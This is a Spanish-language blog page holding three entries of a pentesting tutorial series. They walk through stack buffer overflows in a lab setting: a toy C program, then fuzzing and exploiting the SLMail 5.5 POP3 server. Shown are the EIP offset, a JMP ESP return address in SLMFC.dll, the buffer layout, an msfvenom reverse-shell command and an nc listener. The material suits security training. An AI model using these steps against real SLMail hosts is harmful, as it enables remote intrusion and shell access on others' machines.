Mostrando entradas con la etiqueta overflow. Mostrar todas las entradas
Mostrando entradas con la etiqueta overflow. Mostrar todas las entradas

martes, 3 de noviembre de 2015

Pentesting con Kali VIII - Bof & Shellcode

aquí veremos la forma de identificar los parámetros necesarios como para poder inyectar una shell reversa de manera remota tras explotar la aplicación.


Los requerimientos necesarios para poder llevar a cabo éste módulo son exactamente los  mismos del módulo VII, es decir, un windows xp o 7 con SLMail instalado por defecto, el ollydbg, immunity debugger  y el módulo mona más otra máquina con kali.

En la entrada anterior, habíamos desarrollado un script para identificar si la aplicación era vulnerable por medio de un fuzzing. Ahora nos toca buscar la cantidad exacta de caracteres que debemos enviar para poder introducir nuestro shellcode de manera efectiva.

1- Necesitamos un exploit para realizar las pruebas, así que aquí les dejo el script en python, ya saben, nano nombre.py, pegan el codigo y modifican la dirección ip por la de su virtual.




2- Reproducimos la prueba inicializando el SLMail en el windows, abrimos el olly como administradores, nos attacheamos al proceso, le damos play y luego en el kali ejecutamos nuestro exploit.

Deberíamos encontrarnos exactamente con el mismo error que hemos logrado en el módulo anterior.


3- Identifiquemos exactamente la cantidad de caracteres necesarios para producir el error.
Utilizaremos la herramienta pattern_create de metasploit.


/usr/share/metasploit-framework/tools/pattern_create.rb n°-de-cracteres




En este caso le pasamos el número 2700 porque durante el fuzzing hemos identificado que la cantidad de caracteres ronda esa cifra.
Volvamos al exploit modifiquemos el valor de la variable buffer por el output generado por pattern. En el windows, cerramos el ollydbg, stopeamos el SLMail, volvemos a inicializarlo y nos attacheamos nuevamente con el debugger.

4- Lanzamos el exploit que ahora posee el contenido generado por pattern, vamos al windows y buscamos los los caracteres que han quedado en el tope del stack en EIP




El hexa que identifico en mi caso es el 44396944, ahora debemos buscar el número exacto de caracteres que lo preceden. Para eso volveremos a utilizar pattern.


    /usr/share/metasploit-framework/tools/pattern_offset.rb n°-en-EIP




5- Ya tenemos identificado que son 2607 (en mi caso, puede que en su ejercicio el valor sea distinto) caracteres los que tenemos que introducir para desbordar el buffer de SLMail. Ahora busquemos la posición de memoria donde debemos pararnos para que se ejecute nuestro shellcode.
Modifiquemos entonces nuestro exploit de la siguiente manera:


buffer = ‘A’ * n°-de-offset + ‘B’ * 4  + ‘C’ *100


Esto es para identificar si en EBP queda 41414141 (últimas cuatro A), las cuatro B quedan en EIP (en hexa será 42424242) y en ESP las C




Como podemos ver, EIP tiene 42424242, EBP 41414141 y ESP apunta a una dirección de memoria que posee como contenido las C.

¿Que debemos hacer ahora?
  • Reemplazar las B para que EPI ejecute un salto al puntero de memoria que nosotros queremos.
  • Reemplazar las C para que el puntero de memoria ejecutado por EIP levante el shellcode.

Para esto tenemos que identificar algún salto a ESP, en el immunity podemos utilizar el módulo mona que nos va a facilitar mucho la tarea. Debemos cerrar el olly y reproducir nuevamente el crasheo attacheados, pero esta vez con el immunity, es exactamente igual a como veníamos haciéndolo, solo que con un debugger distinto.

Lo que debemos buscar específicamente es un jmp esp, pueden intentar buscarlo con un ctrl+s pero no obtendrán resultados, por eso, en el command line inferior del immunity colocamos !mona modules


Primero debemos buscar un módulo que no tenga protección contra DEP y ASLR, además de que no contenga caracteres malos como los son ‘\x00’, ’\x0a’ y ’\x0d’.
Si miramos detenidamente los módulos pertenecientes a SLMail, el único que cumple con no tener ASLR es el SLMFC.dll, ese es el que utilizaremos.

Para facilitar la búsqueda, en el kali ejecutamos nasm que viene incluido en el framework de metasploit.
    /usr/share/metasploit-framework/tools/nasm_shell.rb


Una vez que levanta la shell le pasamos el lo que necesitamos buscar para que lo pase a instrucción.




Ahora ya sabemos que debemos buscar FFE4 que en hexa es \xFF \xE4 en el módulo SLMFC.dll. Para esto también utilizaremos mona de la siguiente forma
    !mona find -s “Codigo en hexa” -m nombre del módulo
   
6- Tomamos la primer dirección 5F4A358F para probar si no es funcional, debemos entonces reemplazar las B que se encuentran en el buffer de nuestro exploit por esta posición bajo el formato little endian, es decir '\x8F\x35\x4A\x5F'.


    buffer = ‘A’ * n°-de-offset + ‘Posición en little endian’   + ‘C’ *100


Antes de volver a probar nuestro exploit, debemos cerrar el immunity, stopear el SLMail, darle start nuevamente y volver a attachearnos con el debugger.
Con el último botón antes de la l podemos ir directo a la posición que nosotros le indiquemos y como necesitamos utilizar un breakpoint, vamos a la posición de memoria que acabamos de utilizar en el exploit (en mi caso 5F4A358F, puede que en su ejercicio sea distinto), una vez parados ahí presionamos F2 para colocar el breakpoint.



Damos play en el immunity, desde el kali corremos el exploit y debería quedarnos pausado en el breakpoint.

7- Paremos sobre ESP, click derecho y ‘Follow in Dump’, esto debería mostrar en el panel izquierdo inferior las letras C que en hexa es 43.




Ahora solo nos queda reemplazar esas C por nuestro shellcode.

8- Para generar su shellcode pueden utilizar msfvenom, con un -h pueden ver sus opciones, en mi caso lo ejecuté de la siguiente manera.
    msfvenom -p windows/shell_reverse_tcp lhost=Dirección-IP lport=Puerto -b 'Bad-characters' -i 1 -f c



O el viejo msfpayload desde msfconsole:
   


9- Levantamos desde el kali un nc con el parametro -lvp en el puerto que hemos elejido para el payload. Ahora, solo incluir el shellcode en el exploit y volver a reiniciar el SLMail para attachearse con el immunity, crear el breakpoint darle play e ir al kali para lanzarlo. Se va a frenar en 5F4A358F, seguimos con F8 hasta que desencodea y obtenemos la shell reversa del windows en nuestro kali.


Como siempre, cualquier duda o consulta, estamos por aquí.


Regards, @balderramaeric

Fuente: http://www.sniferl4bs.com/2015/11/pentesting-con-kali-viii-bof-shellcode.html

Pentesting con Kali VII - Buffer Overflow (Fuzzing)

en ésta entrada realizaremos la explotación de un software real llamado SLMail v5.5.0.


Para este módulo necesitaremos descargar el SLMail sobre la máquina con Windows 7 que venimos utilizando, además el ollydbg (q ya lo vimos en la entrada anterior) y copiar el siguiente script en el Kali:

   


Por si lo quieres descargar, se tiene el repositorio de la serie en el GITHUB del blog, que estará todos los scripts de la serie que se desarrollen ;). GITHUB SNIFERL4BS


1- El mismo pueden crearlo ejecutando nano, vi, o su editor favorito con la extensión .py.
    (ej) nano pop3-fuzz.py



2- Una vez creado le damos permisos de ejecución.
    chmod 755 pop3-fuzz.py



3- Instalemos ahora en el windows 7 el SLMail por defecto dándole todo aceptar y siguiente, una vez que termine nos va a pedir reiniciar, reiniciamos.
Cuando volvió a levantar el windows, vamos a inicio->todos los programas->SL Productos->SLmail Configuration y lo ejecutamos como administrador. Vamos a la pestaña Control  para verificar que esté corriendo el servicio


4- Para corroborar que tenemos el servicio del POP3 corriendo podemos realizar dos cosas.
    A - Desde el cmd de windows ejecutar netstat
    B - Desde el kali correr un nc a la ip y puerto (como hemos visto anteriormente)

5- Si ya estamos seguros que tenemos el SLMail corriendo y el puerto 110 abierto, levantamos el Ollydbg como administrador en el windows y nos attacheamos al proceso SLMail  file->attach




6- Una vez realizado en attach el Ollydbg mantendrá pausado el SLMail, por eso damos click en el botón superior de play y veremos como cambia el mensaje en el extremo inferior derecho de ‘Paused’ a ‘Running’.




7- Vamos al kali y ejecutamos el script anteponiendo python + nombre del archivo




8- Vamos rápidamente al windows para ver como nuestro exploit comienza a llenar de peticiones con el string ‘A’ sobre el campo PASS el SLMail hasta que desborda el buffer y termina crasheando la aplicación mostrando un ‘Access violation when executing 41414141’ sobre el EIP (extended instruction pointed)



9- Nos paramos sobre el ESP, damos click secundario y elegimos ‘Follow in Dump’ veremos la dirección de memoria donde ha desbordado el buffer.   



Como siempre, cualquier duda o consulta, estamos por aquí.

Regards, @balderramaeric

Fuente: http://www.sniferl4bs.com/2015/10/pentesting-con-kali-vii-buffer-overflow.html

Pentesting con Kali VI - Buffer Overflow (sobre stack)

En el siguiente módulo aprenderemos los conceptos básicos sobre el desbordamiento de buffer sobre el stack. Analizaremos en un principio un pequeño programa desarrollado en el lenguaje de programación C con el debugger ollydbg.



Acá esta el exe para que se descarguen, el código es el siguiente.




La idea de éste ejercicio es lograr que el pequeño programa nos muestre el string ‘you win!’, para eso, debemos lograr desbordar el buffer y escribir sobre la cookie. Como es un ejercicio de ejemplo, ya tenemos hardcodeado el valor de cookie (41424344) como así también los valores que tendremos que buscar en el debugguer cuando ejecutemos la aplicación.


Para el siguiente ejercicio es necesario que tengan instalado ollydbg. También nos será necesario un exploit para automatizar la explotación.
El siguiente ejemplo de exploit está hecho en python 2.6






Veamos entonces cómo terminar de armar nuestro exploit para lograr desbordar el buffer y obtener el string deseado.

1- Ejecutamos el .py y luego levantamos el olly atacheandonos al proceso del stack1.
Para attachear un proceso en el olly vamos a file -> attach  se abre una ventana y elegimos el programa.




Una vez attacheados, click en la letra E del panel superior y elegimos nuevamente el stack1.

Hacemos click derecho sobre el panel principal sSearch for -> All referenced text string  y buscamos el texto que tenemos como referencia que en éste caso es ‘you win!. ’Presionamos en play, vamos al programa hacemos click y volvemos al ollydbg para mirar los valores.



Como podemos visualizar en el panel derecho, el valor de EBX es 0022FEE0  y en el panel inferior derecho vemos que la posición posterior al return en kernel32 es 0022FF3C.
Entonces, debemos levantar restar al valor más grande el valor más chico en hexadecimal y así obtendremos el valor que debemos pasarle al buffer.


Vayamos a nuestro exploit y modifiquemos un poco el payload, necesitaremos importar la librería struct para poder pasar el valor que necesita cookie para mostrarnos el string.





Las 92 A son las necesarias para desbordar el tamaño del buffer (es el resultado de la cuenta que realizamos con los dos valores identificados en el ollydbg, nos queda 5C y si lo pasamos a decimal nos queda ese número). Luego llamamos el struct.pack, le indicamos que trabajaremos con little endian y el segundo parámetro es el valor de cookie.

Probemos entonces, cerremos todo, corremos nuevamente el .py, nos attacheamos con olly, click en E para elegir el módulo con el cual trabajaremos, presionamos play, vamos a la ventana donde se está ejecutando nuestro exploit, hacemos click, volvemos al ollydbg y damos F8 hasta que explote el payload y nos muestre el string la consola.




Ejercicios propuestos:


  •  Intentar reproducir el ejercicio sin la guia.
    Intenten realizar los ejercicios y brindarnos un feedback, es la única forma que tenemos de darnos cuenta si se entiende lo que vamos explicando, si pueden hacer los ejercicios o si tenemos que modificar algunas cosas.

Como siempre, cualquier duda o consulta, estamos por aquí.

Regards, @balderramaeric

Fuente: http://www.sniferl4bs.com/2015/10/pentesting-con-kali-vi-buffer-overflow.html